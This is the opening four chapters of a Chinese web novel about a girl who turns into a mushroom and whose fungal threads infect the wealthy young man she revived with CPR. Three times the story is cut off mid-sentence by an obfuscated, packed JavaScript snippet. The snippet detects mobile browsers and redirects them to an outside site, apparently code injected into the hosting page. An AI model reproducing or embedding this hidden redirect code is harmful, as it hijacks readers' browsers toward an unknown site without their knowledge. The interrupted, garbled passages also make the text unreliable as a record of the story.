《住在下水道里的蘑菇精》 1. 下咒 “陈助,你确定是在这里?”管家推了推眼镜,看着面前的一片荒地,抬头望去,能看到荒地对面的高楼大厦。 这里怎么看都是待开发区域。 “我找不到具体的家庭住址,但是按照监控显示,她每天早晚都会从这出入。”陈助拿着iPad,脸上闪过一丝尴尬,只得说:“再等等,马上七点了,她肯定会路过这里。” 管家点点头,看着前面不远处的一个下水道口处长满了杂草,又看向周围,连个棚都没有,这地方实在是不像能住人。 林眠拖着疲惫的身体往前走,但今天和以往有所不同。她一眼便发现了,前方停了一辆黑色的车。 这里平时连个人影都见不到,今天竟然有一辆车! 林眠顿时打起了精神,轻轻走上前,伸出手摸了摸。她刚触碰到车身,车窗就摇了下来,两张陌生的面孔出现在她的面前。 “林小姐,您好。” 林眠看着他们,身体很诚实的往后退,准备快步离开。 这个声音她太熟悉了,这几天她一直收到一个电话,对方的声音和车里的人的声音一模一样。 对方奇奇怪怪,一直说约个时间见面。她虽然是在山上长大,但也不是傻子,直接了断的挂了电话。 “林小姐自幼跟着奶奶在盖山住,一个月前搬来了北城...” 林眠皱了一下眉,接着往前走。她因奶奶去世,料理后事后,才遵循奶奶的遗嘱来到了北城。 只是她没有找到奶奶口中的瞿家,只好留在北城边工作边找。 “来到北城之后,林小姐救了一个人。” 听到这句话,林眠才停下脚步。刚来到北城的时候,一个男人突然晕倒了,她当时第一反应就是利用自己所学的知识,给男人做了人工呼吸,而且他当时也醒过来了。 难道他们找自己,就是为了这件事?那也不至于连自己的奶奶都调查了。 “你们找我什么事?”林眠回过头,问他们。 管家见她愿意停下来,才松了口气,连忙拉着陈助走上前,也不客套了,直接开口:“林小姐,您是否知道你救的人是谁?” 林眠摇摇头,自己只记得他一醒,周围立马涌上来许多人,自己也就被冲了出去。她看着人没什么事了,也就离开了。 那一天,那个男的穿的就像是村里的公鸡一样,身上的衣服五颜六色的,还带了一副黑色的眼镜,走在路上大摇大摆的。 她当时因为太阳太晒了,就蹲在街角,面前突然走过这么样的一个人,她不由得多看了两眼,谁知道对方突然“嘭”的一声,倒在了自己的面前。 周围的人也都停了下来,林眠第一反应就是赶紧给他检查了一下,做了个人工呼吸。 但自己是做好人好事,他们这来找自己,又是因为什么? “他叫瞿木,我们很感激当时林小姐的救人之举,但同时,也需要林小姐您这边配合一下我们。” 林眠歪着头,不是很明白他这句话的意思。 最终,她还是跟着面前这位鬓边泛白的中年大叔上了车,另一位看着约二十来岁的小伙子则在车外等候着。 “您好,我是瞿家的管家,卫匀,你喊我卫叔就行。” 林眠点点头,眼珠子却转了转,瞿家?应该不会这么巧吧?她视线却不由自主地看向车内的装饰。 村子里很少会有轿车出现,所以她是第一次坐上轿车,多少有些好奇。 “瞿木他现在得到了一种怪病。”卫管家开口说道。 林眠从车内收回视线,看向卫叔,有些不太明白,生病了找医生就是,找自己做什么? “我们怀疑这个病和林小姐有关。”卫叔意简言骇。 林眠睁大了双眼,用手指指向自己? 卫叔点点头。 “林小姐是两年前才入了户口,有了身份,之前一直是黑户。”卫叔说着从公文包里拿出一张纸,递给林眠。 纸上就有一个黑笔加粗的名字,十分显眼。 “林眠” 这是自己的名字,后面寥寥几笔,没有过多的资料,只写了自己的家人名字。 “你的奶奶,是盖山村里最有名的...神婆。 “除了盖山村,附近的村子求神请佛都找的你奶奶。但在二十年前,她突然收手了,那个时候,正是你被送回盖山村的时候。” 林眠听着,脸上没什么表情,只是解释说:“就这样?我们村子里,很多人都很晚上户口。” 这个卫叔还提到了奶奶是神婆,他的意思是... “你们怀疑我给那个叫瞿木的,下咒了?”林眠虽然与人接触的不多,但她也听明白了对方的言外之意。 卫叔没摇头,也没点头。这个怪病十分的诡异,如果只是简单的下咒,他们瞿家自有认识的能人异士,可无一人能解决这个怪病。 无奈之下,他才来找林眠。 “他得了什么怪病?”林眠见他既不否认,也不点头,有些好奇究竟是什么样的怪病,能让他们觉得是自己干的。 这里不是盖山,没有人会觉得自己是怪物。因此,对于这个找上门来的卫叔,林眠也不是很拿得准。 她和正常人不一样。对方又知道多少? “瞿少被你救起之后,就被保镖带着去了医院。在医院的时候,瞿少情况非常不妙,需要立即动手术。”卫叔推了推眼镜,慢慢地说出实情。 林眠认真地听着,这么严重?她当时看到的,明明就是晕倒了而已。 “林小姐自然会觉得奇怪,在你的眼中,瞿少就是晕倒而已。” 林眠什么心思都写在了脸上,她也不掩饰,直接点了点头。 “问题是,瞿少被推上手术台的时候,他又奇迹般的好了。这也许是误诊,可问题是,晚上睡觉的时候,瞿少的身体里会长出一些奇怪的东西,细长、透明、带有分叉...” 卫叔说着,皱着了眉,“我们找人送去检验过,说是...蘑菇的菌丝。人的身体里怎么可能长出菌丝...” 虽然说出来很扯淡,但卫叔还是尽可能的说清楚。如果不是亲眼所见,他肯定也不会相信。 林眠听到“蘑菇”这个字眼的时候,心里咯噔了一下。蘑菇的菌丝…难道真的是自己…不,她没有做过这样的事。 “除此之外,他现在只要一闭上眼想睡觉,就会梦到自己的身体一点一点的变成蘑菇,从而惊醒,完全没办法得到正常的睡眠。” 卫叔说,这才是最重要的问题。菌丝只要从身体上刮掉,就没事,但是一睡觉,这菌丝就会长出来,伴随着噩梦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461822|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 长期得不到睡眠,瞿木的身体也每况愈下。 “抱歉,这件事我帮不了你。” 林眠听完,压下心中的不安和烦躁,拧着眉说:“他要是生病了找医生,如果是被什么妖魔鬼怪缠上了,那就要找道士了。” 她既不是医生,也不是道士。硬要说有什么关联,那就是—— 她可以变成蘑菇的样子,但绝对没有危害别人的能力。 自己在盖山住了那么久,从来没有人发生过这样的事。 “我们也是猜测,因为瞿少的病是在和林小姐亲密接触后才有的,我们也是走投无路了。” 林眠下车的腿顿了一下,但还是下了车。 “林小姐,我绝对没有怀疑你,只是瞿少现在情况很不好,我希望您这边能好好考虑一下,您有什么要求,要多少报酬我们这都答应你。” 林眠抿着唇,没有回头,一直往前走,直到一处拐角处,才停了下来。等到那辆黑色轿车走了,她才走到下水道口,钻进去。 这里的下水道十分的宽敞,又因为周围建筑物不多,相对于其他位置,这里也要干净得多。 是林眠花费了好几天才选出来的绝佳住所。 这里只有一张床,一个床头柜,林眠打开手电筒,让下水道里变得光亮起来,她才变成蘑菇挂在一旁的枯木上。 其实她也不确定瞿木的病和自己有没有关系,但在卫管家的面前,她只能把自己的责任推卸的一干二净。 因为自己能变成蘑菇这件事,是不能说出去,也不能被人知道。 在枯木上挂了半小时,她吸收够了营养,才从枯木上下来,躺在床上。 林眠打开手机,点开游戏,先是把日常任务都做了,再打开好友列表,看着列表处唯一的好友,手指点了点。 等了大约半小时,对方才上线了。 【您的亲友草莓软糖上线了】 一看到对方上线,林眠便主动地给对方发了消息,再一起去刷本。 来到北城后,她第一件事就是买了手机,之后便是偶然下了这个游戏,玩着玩着,也玩了一个多月了。 两人刷本到晚上11点,林眠看了看时间,准备去睡觉了,便给【草莓软糖】发了条信息。 【小蘑菇:你不去睡觉吗?我要睡了】 【草莓软糖:嗯,睡不着】 林眠趴在床上,歪着头。 【小蘑菇:你不开心?】 她只有不开心的时候才睡不着。 【草莓软糖:不是,是想睡却睡不着,做噩梦,你知道吧?】 林眠转了转眼珠子,原来人做噩梦是睡不着的啊?她长这么大,从来没有做过梦。对此,她只能安慰了对方几句,便下线了。 躺在床上,林眠突然想到卫叔说的,那个叫瞿木的,也是整晚做噩梦,身上长菌丝,也是日日不得安睡。 不过他也姓瞿,和奶奶让自己找的瞿家是同一家吗? 想着,林眠从床头柜里找出一张纸条,叹了一口气。 奶奶临终前给她塞了一张纸条,上面写了瞿家的地址,她没好好保管,让纸条沾了水,现在纸条上的字已经溶成一团黑色,根本看不清写了什么。 要不明天还是去看看吧?万一这个菌丝真是自己造成的... 2. “救命恩人” 林眠在一家汉堡店打工,下班之后,她走出店门,门口的一辆黑色轿车摇下车窗,探出一个脑袋。 是陈助理。 林眠今天早上联系了卫管家,自然知道这辆车是来接自己的,便走上前打开车门上车。 车子一路开往市中心,最繁华的地段处。 进入一扇十分豪华的大门后,车子在青石铺成的道路上行驶,直到开入地下停车场,停了下来。 林眠下车时,卫管家已经在一旁等着了,他今天穿了黑色西装,两鬓处发白的头发为他更添一份长者气息。 他领着林眠往前走,穿过一扇玻璃门,到了电梯口处:“瞿少正在楼上等着您。” 林眠点点头,跟着卫管家乘上电梯,看着卫管家按了最大的一个数字,33。 “瞿少住在顶层,三十三楼。” 当然,这个33层也是有讲究的,是专门请了风水大师看的,只是这话没必要对林眠说。 电梯很快,没几分钟就到了顶层33层。 林眠脱了鞋,跟着卫管家进了屋。一进到屋内,映入眼帘的就是符咒、八卦镜、桃花木、大蒜等等驱邪物品,基本上挂满了整个屋子。 看来他们是真的走投无路了,才会相信这些不科学的东西。 “林小姐见笑了,我们也是想了很多办法,但这些都没有用。”卫管家说道。 林眠没有多说什么,其实说起来,她是相信科学的。 “少爷应该在会客厅那,我带你过去。” 林眠跟着卫叔往前走,卫叔敲了敲会客厅的门,没人应答,他便用指纹解锁开了。 一打开门,卫管家都忍不住往后退了一步,嘴里说了一声:“更加严重了。” 林眠站在原地没有动,整个会客厅基本上都是细长且透明的菌丝,在空中飘舞着,就像是迎着风而舞动,而这些菌丝是躺在沙发上的瞿木散发出来的。 再仔细一看,瞿木的手臂上已经长满了不少的小蘑菇。 林眠伸出手,摸了摸空气的菌丝。她走进来的时候就知道了,这菌丝和自己身上的一模一样。 不知道什么原因,菌丝寄生在瞿木的身上了。 “怎么办?”卫管家有些着急,今天不太对劲,以往这些菌丝顶天也就围绕在瞿木身旁,今天竟然扩散的这么远。 林眠没出声,闭上眼,短短一分钟内,这些菌丝就全消散下去了。 卫管家见状,连忙走上前去看瞿木,只见他身上的菌丝消散了,但还遗留着长出来的蘑菇。 他拿起一旁的睡眠监测仪,预警消失了。 林眠看着熟睡的瞿木,心里大概明白怎么回事了。 那一天她给瞿木做了人工呼吸,一部分菌丝跑进了他的身体里。这种事她也是第一次碰到,好在出去的菌丝自己还能控制。 眼见瞿木还没醒,林眠和卫管家就去外面客厅处等着了。 “少爷好久没睡过一个安稳觉了,让他睡会儿吧。” 林眠接过茶,点点头。 卫管家也借此机会问了一些问题,大多数都是关于她有没有经历过一些诡异的事情,以及如何让这些菌丝消散下去。 林眠很坚定的摇头,硬要说什么诡异之事,那自己就是最诡异的。 从小到大,她都生活在盖山,根本没遇到过诡异的事,更别说什么妖魔鬼怪了。 瞿木身上的菌丝,确实是自己的责任。 关于这一点,林眠也没法说。 卫管家见她没多说,觉得有些奇怪,林眠的奶奶是远近闻名的神婆,虽然收手了,林眠或多或少应该也见识过一些。 况且,刚刚那个状况,他不知道林眠做了些什么,但少爷身上的菌丝确实消散了,也睡的安稳了。 看来确实找对人了。 大概过了半小时,瞿木突然睁开眼,看着熟悉的天花板,他连忙起身,看了看自己身上,手臂上全是一颗颗小蘑菇,不用想,身上肯定也长了不少。 他烦躁的搓了一下头发,但转头一想,这一次竟然是个安稳觉,没有噩梦。 这一个月以来,他一闭上眼睛,就会梦到自己的身体被一种菌丝给包裹起来,一点一点的用力收紧,恍惚之际,他看到自己的身体被蘑菇吞噬,从下半身开始,一点一点的变成蘑菇,然后就被惊醒了。 醒来之后,他就发现身上长了蘑菇。 最开始,是脚底板长出蘑菇… 他掀开上衣一看,果然,他的腰部处长出蘑菇了,比之前又要往上一些。 这些长在身上的蘑菇,他轻轻用手一掰,就能摘下来,在皮肤上也不留痕迹。可随着每一次入睡后都越长越多,瞿木不敢想象这蘑菇长到自己脸上会是怎么样。 或许就会像梦里的一样,变成一颗真的蘑菇! 想到这里,他就浑身打了个激灵。他搓了一把脸,拿起手机,刚好收到了卫叔发来的信息。 瞿木身上带了睡眠监测的工具,一醒,卫管家那边就知道了。 瞿木没有直接出去,而且先回到房间,把身上的蘑菇都清理干净,再换了身干净的衣服,对着镜子左看右看,直到满意了才出去。 林眠喝茶都要喝饱了,这时听到脚步声,她侧头看去,终于见那位大少爷睡醒了。他现在身上穿了居家服,顶着两个黑眼圈,一屁股坐在林眠的对面处。 瞿木也打量着林眠,一个看着瘦瘦小小的小姑娘,拥有着一双极其大的眼睛,脸颊有些消瘦,但还算长得耐看吧。 “林小姐,你怎么看?”卫管家扭过头问一旁的林眠。 毕竟刚刚林眠的本事,他可是见识了。 林眠眨眨眼,这就要她开始“诊断”了吗? “我看,以后应该没什么事了。” 她看这瞿家少爷好好的,除了黑眼圈有些重外,也没什么别的问题。刚刚菌丝她已经处理完了,按道理没什么事了。 “好了?”卫管家有些不可置信。 瞿木二郎腿一翘,说:“开个价吧,你要多少钱?” 林眠第一反应就是之前卫叔说的什么报酬,虽然她很缺钱,但还是拒绝了。 “你不要钱?那你要什么?”瞿木看着林眠,不太爽地说。 “我什么也不要呀。”林眠不太明白他的话,自己过来只是有一点愧疚,她不清楚菌丝在普通人的身体里会不会有害。 她说完,看对方不太信的样子,便反问他:“那你觉得我应该要什么?” 瞿木挑挑眉,那他可说不好,这种情况一般是想要大钱。正所谓人心不足蛇吞象,再加上他这家这么有钱,被歪门邪道盯上也是极有可能。 他自然不可能把这话直接说出来,只是看着林眠,年纪轻轻,一点玄学大师的模样都没有。 不过他也是走投无路了,找了医生做了检查,甚至精神科都去挂了号,但都毫无效果!他只能去相信玄学,可家里的御用风水大师也没辙,最后才去找了这位自己的“救命恩人”—— 林眠。 林眠见他不说话,自觉得也没什么好说的,站起身说:“你以后都没事了,我就先回去了。” 时间也不早了,再晚一些,她没有公交车坐了。 “真的没事吗?”卫管家问道,“不用摆摆阵,做一下法?” 林眠站起身,认真地对着卫管家说:“卫叔,现在是什么时代了,要相信科学,摆阵作法都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461823|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 假的。” 当然,她也不认为自己是什么有法术的人。 卫管家语塞。 一旁的瞿木更加语塞,她这个模样倒真不像是图自己的钱了。 林眠无视他们两个吃惊的神情,走到门口,看了眼瞿木,有些话想要说,又不知道该不该问。 “林小姐有话不妨直说。”瞿木又不是瞎子,她那个欲言又止的模样实在是太明显了。 “这北城中,还有姓瞿的吗?”林眠问。她可不太相信这世界上有这么巧的巧合,偏偏自己救的人就是自己要找的人。 瞿木皱了一下眉,这是什么问题? “整个北城有上千万人口,瞿又不是我的专属姓氏,那肯定一堆姓瞿的。” “哦。”林眠想想也是,那自己该怎么找到奶奶说的北城瞿家? 林眠心不在焉的出了门,卫管家送她到车库处,陈助已经在那里等着了。 林眠拒绝了陈助送自己回家,坚持自己回家,卫管家再三邀请还是被拒,也只好答应了。 卫管家回到瞿木的大平层处,看着瞿木坐在沙发上沉思,便开口说:“你今天睡了一个安稳觉,都是林小姐的功劳。” “这罪魁祸首说不定就是她,这算哪门子的功劳?”瞿木皱着眉,他长期睡眠不足,脾气暴躁得很。 卫管家也不恼,坐在一旁,“我看这林小姐不像是坏人,也没有所图,说不定是我们哪里弄错了。” 瞿木没吭声,下意识的用手摸着自己的后脑勺,说:“卫叔,后脑勺这里肯定是被挨了一棍,最开始的CT也显示骨折了,你们都把我推上手术台了。” 那一天,他走在街上,准备去酒吧,谁知道后脑勺就像是被人用棒球棒狠狠地敲了一棍,他当时就眼前一片漆黑,晕了过去。 再次醒来的时候,他看着周围的街景,没一会儿,又晕了过去。再次醒来,就在医院处,他的后脑勺竟然完好无损,一点伤口都没留下。 看了监控,他才知道有个女生给自己做了人工呼吸! 他还以为是自己臆想了,自己真的只是晕倒,但随之而来的是身体发生变化,长出一堆蘑菇出来... 瞿木最开始以为是自己精神恍惚了,还去挂了精神科,但看了也没屁用!他现在也说不清楚,但那后脑勺的痛感他还记着。 “这林小姐还真是神人,一进去,那个菌丝就都消失了。” “不管怎么样,她是确确实实能帮助到你的。”卫管家语重心长的说。自己是看着瞿木长大的,瞿父瞿母都忙于事业,这从小到大都是自己照顾。 瞿木也没辙,谁让林眠一来,自己就能睡个安稳觉了?现在她说自己没事了,那就拭目以待吧。 “卫叔,你快去睡觉吧,老人家就不要熬夜了。”瞿木一边看着手机一边说,“我等会也去睡觉了。” “为了保险起见,今晚还是要和之前一样,医生等会也会过来,今天身上的蘑菇长到哪里了?”卫管家站起身,问道。 自从发现瞿木身上长蘑菇,且一次比一次长得更多,他也害怕这蘑菇如果长到脸上会怎么样。 谁也不知道结果,因此要在瞿木一做噩梦的时候,就把人叫醒来,防止蘑菇越长越多。 “已经到腰部处了。”瞿木揉揉眉心,“希望今晚真的如她所说,没事吧。” 处理完这些时候,瞿木就回床上躺着睡觉了。 长期的睡眠被剥夺,导致他一躺在床上,根本没空思考别的,眼睛一闭就睡着了。 一睡着,他感觉自己的身体就像是一颗粗壮的腐木,菌丝从他的身体上冒了出来,缠绕在一起,一颗一颗的小蘑菇在身体上冒出来,密密麻麻、高高低低。 3. 私生女 林眠再次出现在这间豪宅里,看着坐在自己对面的瞿木,黑眼圈浓重,双目无神地盯着自己看,任谁见了都会觉得有些吓人。 “怎么了?”林眠略带心虚地问,她心里很清楚,肯定是又出事了! “陈助,端上来。”瞿木突然开口。 话音刚落,陈助理就端着一盆东西出来,放在桌上。 林眠看过去,是一盆的蘑菇,看起来新鲜可口极了,就是有些眼熟。 “我不是很爱吃蘑菇。”林眠推辞道。 “你再仔细看看。”瞿木有些气笑了,昨晚他一躺下,就开始做噩梦了,然后被医生叫醒,之后一夜没睡,今天天一亮,他就让卫管家去把林眠找过来。 还有把身体上刮下来的蘑菇给她看。 瞿木觉得自己就应了自己的名字,真的成了木头,变成了蘑菇的狂欢之地。 林眠一大早就起来打工,再被强行拉到瞿家,她还有些没反应过来,又盯着盆里的蘑菇看了看,看了看,才“哦”了一声。 “这蘑菇是你身上的。” 瞿木:“......” “你不是说没事了吗?是因为我没付钱?”瞿木扶额说道。 林眠看他这副难受模样,也不是很好意思地说:“可能哪里出了问题。” “你现在还睡得着吗?”林眠脑子反应很快,自己在的时候,这菌丝确确实实消散下去了,还让瞿木睡了个安稳觉,昨晚自己离开了,可菌丝又出现了。 瞿木抬起眼眸,浓墨般的眼珠子,因为长期睡眠不足,看起来有些阴郁,他用没什么感情的声音说:“如果能不做噩梦,不长蘑菇,我能睡上几天几夜。” “那你睡吧,陪我做一下实验。”林眠不知道问题在哪,但菌丝一向是顺从自己的,所以她想着试一下。 “实验?”瞿木将信将疑地看着林眠。 “嗯嗯。”林眠点点头,“上一次这些菌丝明明都消散了,现在却还会长出来,我想试试你睡着了,我能不能控制住。” 瞿木被折磨的身心疲惫,没去细想林眠的话,直接点头答应了。 再糟糕还能比现在糟糕吗? 卫管家听了之后,决定陪同林眠一起做这个测试。 瞿木的任务很简单,睡觉就行。 林眠和卫管家在一旁守着。 “进入睡眠了。”卫管家看着睡眠监测仪说道。 林眠在一旁看着,她脑袋里什么也没想,也没下达指令。 “没有做噩梦,也没有长蘑菇。”卫管家在一旁小声说。 林眠想了想,自己就在瞿木的身边,菌丝没有活动,那...她站起身,轻声说:“我往外走走看试试。” “陈助,你留在这里。”卫管家吩咐陈助道,自己则跟着林眠出去。 林眠在屋内转了一圈,瞿木都没有任何异样,最后她走到电梯口处,直接摁了电梯,和卫管家乘上电梯往下。 “卫管家,少爷身体开始长出菌丝了。” 电话里传来陈助焦急的声音。 林眠抬头看去,电梯正在往下降,刚刚的楼层大概到了18楼这样。 “我们再上去。”林眠和卫管家又乘电梯往上。 “菌丝消失了。”陈助的声音再次传来。 来回几次之后,林眠和卫管家确定了。和瞿木的距离范围在十米左右,只要林眠处于这十米之内,瞿木就会没事,超出之后,瞿木处于睡眠状态,就会被菌丝给缠绕住。 对于这种状况,林眠也很懵圈。她还是第一次见这么个状况,之前在盖山的时候,她和那么多小伙伴接触过,都没有发生这样的事。 这还真是...说不明白了。 林眠和卫管家、陈助,三人坐在客厅处,心思各不相同。 林眠正在发呆,她第一次知道自己的菌丝居然还有控制范围,超过一定范围就不听自己的了。 她抬起眼,偷偷打量了一眼卫管家和陈助理,要不自己还是跑吧?她现在心虚得很。 在瞿家待了几个小时,直到瞿木醒来了,林眠都还没决定出来是否要逃跑。 她抬起头,看着瞿木舒服的伸着懒腰从房间里走出去。 卫管家见瞿木醒了,拉着瞿木到了另一个房间去。 客厅只剩下林眠和陈助理。 “林小姐,你先喝茶,卫管家应该是和少爷在说明情况。”陈助理解释说。 林眠心想也是,可是她都坐了好几个小时了,陈助理和自己年纪看着相仿,林眠也就随意了一些,问:“你是瞿木的助理?” “嗯,生活助理。”陈助理回答道。 林眠点点头,问道:“你工资很高吗?” 她没接触过有钱人,对于有钱人的印象都是从电视剧里看来的,她一直很好奇,在有钱人家里干活是不是收入很高。 陈助语塞,犹豫着怎么说时,瞿木走了过来。 “我刚刚听卫叔和我说了,既然这样,那你就留下来吧。”瞿木睡了个舒服觉,整个人都柔和了一些。 反正不管事情怎么样,只要她留下来,自己就没事了。 林眠看着瞿木,觉得他还挺乐观的。自己都不清楚他体内的这些菌丝是怎么回事,他倒是采用了最直接的方法,也不担心日后自己控制不住这些菌丝了。 卫管家从书房处走出来,手上拿着两份文件走过来,摆到林眠的面前,说:“林小姐,目前我们也没有更好的解决方案,您愿意留在瞿家吗?” 林眠低下头,看向这份文件,上面列了一堆她看不懂的东西,但在最后面处有个空格。 “开个价,想要多少直接填。”瞿木一副“我十分有钱”的大爷模样。他刚刚和卫叔一起,听了自己睡觉时的情况。 这一切都是在太巧合了,让他不得不怀疑林眠,可现在自己确实需要她,无论哪种情况,他都得让林眠待在自己身边。 也开始思考另一种可能性。 林眠拿着笔,用着笔帽挠了一下头,她都还没答应,怎么全都当她答应留下来了? “我考虑一下?”林眠试着问问。 “你有什么好考虑的?有多少人想当我瞿家的风水大师啊?”瞿木看她不情愿的模样,气鼓鼓地说。 林眠也不恼,只是对着瞿木说:“你这么年轻,不应该相信这一些。” “不过,我真的可以自己填价格吗?” 瞿木原本听了她的上一句话,刚想说点什么,听到她的下一句话,直接气笑了,点头说:“嗯,你随便填,钱多。” 林眠听着,拿着笔在上面认真的写下“5000”。她在汉堡店工作一个月,只有三千块钱,且她不喜欢汉堡的肉味,会让她有些反胃。 可在城市里生活,哪里都要钱,她也想让自己过得好一些。在这里她也不贪心,就填了一个合适的价格。 填完之后,林眠签下名,放下笔,看向瞿木。 “就这点?”瞿木一直看着林眠填数字,她就填了个五千?他家里的佣人都比这个价格高。 “嗯嗯。”林眠点点头。 瞿木拿起文件,看着林眠签在上面歪歪斜斜的字,嘟囔了一句:“你这字还挺丑。” 他说完,拿起笔,在文件上签了名,再在数字那一行,多加了一个0。 “怎么多加了一个0?”林眠眼尖。 “钱多你才能好办事。”瞿木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13461824|141761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说完,就把文件交给卫管家。 林眠没听清瞿木说的什么,满脑子都在算着多加了一个零是多少钱,以及自己做多久可以拿到多少钱。 毕竟这件差事,她可没觉得能长干。 瞿木刚把文件递给卫管家,就接到了电话。他一看来电显示是自己的爸爸,连忙走到一边去接电话。 卫管家和陈助理则一起去另一边了,留下林眠自己一个人在客厅。 林眠算清楚了钱,自己都不需要考虑做多久,反正一个月的钱够她用个一两年是肯定没问题的。 她抬头看了看,注意到窗台处的瞿木,便想走过去和他说说自己准备回家拿东西的事。她刚走过去,就听到瞿木暴躁的声音。 “什么姑娘?我不知道,你也别指望我去接。” “我看就是你不知道哪来的私生女。” “别把爷爷摆出来,他现在不在北城,我不信你的话。爷爷的故友我都认识,就没听说过有什么小姑娘要接过来。” “总之,你敢接回来,以后我就不回瞿家了。” 瞿木直接把电话挂断了。他父母之间关系不和,这么些年都已经分居了,可瞿木还是没有办法接受。在他的眼里,都是他父亲瞿华平的错。 林眠见状,连忙回到自己的座位处,耳朵动了动。 “林小姐,这是给你的文件。”卫管家将文件都装订好,放在文件袋里递给林眠。 林眠愣愣接过文件袋,看了眼窗台处,问卫管家:“卫叔,瞿木的爷爷叫什么啊?” “瞿如清。”卫管家顺口就回答了,整个北城谁人不知道瞿老爷子的名字? 林眠没回话,只是看向一旁生气的瞿木。她现在明白了,奶奶让自己找的瞿家,真的是瞿木的家。 她虽然不小心纸条沾了水,但“瞿如清”这个名字她还是知道的,奶奶生前经常和别人有书信来往,自己经常帮她去拿信,寄件人就是瞿如清。 奶奶说瞿爷爷是她的故交。 之前奶奶提到瞿家的时候,她第一反应就是瞿如清,可寄件的地址不在北城。刚刚听了瞿木打电话的内容,她心里就确定了。 没想到这么巧。 “少爷,你又和先生吵架了?”卫管家一看这个架势,就猜到一二了。 “别提他了。”瞿木看向林眠,问:“你家在哪里?是我在你家附近买套房还是你搬过来?不过太差的房子我不住啊。” “我搬过来吧。”林眠看了眼瞿木生气的模样,回答说。她家附近都是空地,也没房子给瞿木买。 奶奶让自己找北城瞿家,从刚刚的对话中,瞿爷爷不在北城,那瞿木又不待见自己,她又何必自讨没趣。 “那我就先去收东西了。”林眠说完,就自己往外走。 陈助说要送她,帮她拿东西,被林眠拒绝了。 “这林小姐真奇怪,这里到那片荒地可不近,每次都不让我送。”陈助理嘟囔着说。他之前负责查资料,查了很久,就是没查出林眠的住址。 但是监控显示,林眠每天早出晚归的地点都在那块荒地处。 “别管,大师自然有大师的想法,说不定是使了什么障眼法。”卫管家在一旁说道,他年纪大了,对鬼神之事还是有一份敬畏之心。 瞿木撇撇嘴,说:“那地方除了一片空地,就有个明显的下水道入口,难道她住下水道啊?” 他在家也研究过陈助给自己的资料,对着那几张照片看了几眼,连个危房都没有,去哪儿住人? 也就那个下水道看着显眼一些,但卫叔说的也有可能,高人自然有高人的想法和作法。 林眠回家取东西,没想到自己已经变成了高人。 4. 玻璃 林眠没什么东西,就带了一些小东西,一个背包足够装了。她回到瞿木家里的时候,卫管家和陈助理都离开了,只剩下瞿木在家。 “除了这一间,这里的房间你随便挑。”瞿木挠挠头,虽说林眠是他的风水大师,但林眠再怎么样也是个女的,这同住一个屋檐下,多少有点尴尬。 林眠没瞿木想得多,随便指了个房间。 瞿木见状,耸耸肩,说:“家里每天都会有阿姨过来打扫卫生,你想说吃什么可以和每日过来做饭的阿姨说,点外卖也可以,冰箱里有吃的,每天都会更换。” 说着,他突然想到什么,拿出手机,说:“对了,加个微信好友。” 林眠拿出手机,递给瞿木。 瞿木怪异地看了一眼林眠,加个好友她把手机递给自己干嘛?但还是接过了手机,扫码,加好友,通过,一气呵成。 “你头像怎么是个蘑菇啊?”瞿木现在看到蘑菇就浑身打颤。 “喜欢。”林眠拿过自己的手机,诚实的回答。 瞿木无语,他也不能阻止别人的喜好不是?他扭扭脖子,说:“我洗澡去了,你随意。” 他太困了,感觉怎么睡都睡不够。 现在基本上就属于一沾床就睡着了的状态。 林眠看着微信上多了一个好友,下一秒,就收到瞿木发来的信息,是这里的地址。 感觉他人也没想象中的那么...精神。林眠给出评价,她还对那一天瞿木穿的像个公鸡一样印象深刻。 在村子里,穿的五颜六色的人,都是精神小伙子。 林眠没什么睡意,就在房子里摸索了一下。 高楼大厦里的房子和乡下的老房子果然不太一样。林眠转了一圈,心中感慨道,说不上那个更好,但看到的风景是不一样的。 她在窗户前看了半小时的城市灯光秀,才磨磨蹭蹭去洗澡。 第二天清晨,瞿木舒服地伸了个懒腰,从床上起来,他第一次感觉到,能舒服的睡觉简直就是人生一大幸事啊。 起床后,洗漱完,他换了身衣服,走到健身器材处,开始锻炼。没出这档子事前,他每天都认真健身,现在一个多月没锻炼,身上的腹肌都少了两块了。 林眠起床后,就见瞿木在一台机器上赤裸着上半身跑步,满头大汗。 “早。”瞿木打了声招呼,语气有些不太自然,习惯了自己一个人在家,现在多了一个人,还是个女的,他多少也有些不太适应。 林眠点点头,她摸了摸肚子,有些饿了。 “厨房有吃的,早上阿姨过来做的。”瞿木直接说。 “哦,谢谢。”林眠走到厨房,果然看到了一桌吃的。 瞿木锻炼完,穿上衣服,洗了把脸,也过来坐下,认真地吃起早餐。 “我吃饱了。”瞿木放下筷子,起身就走了。 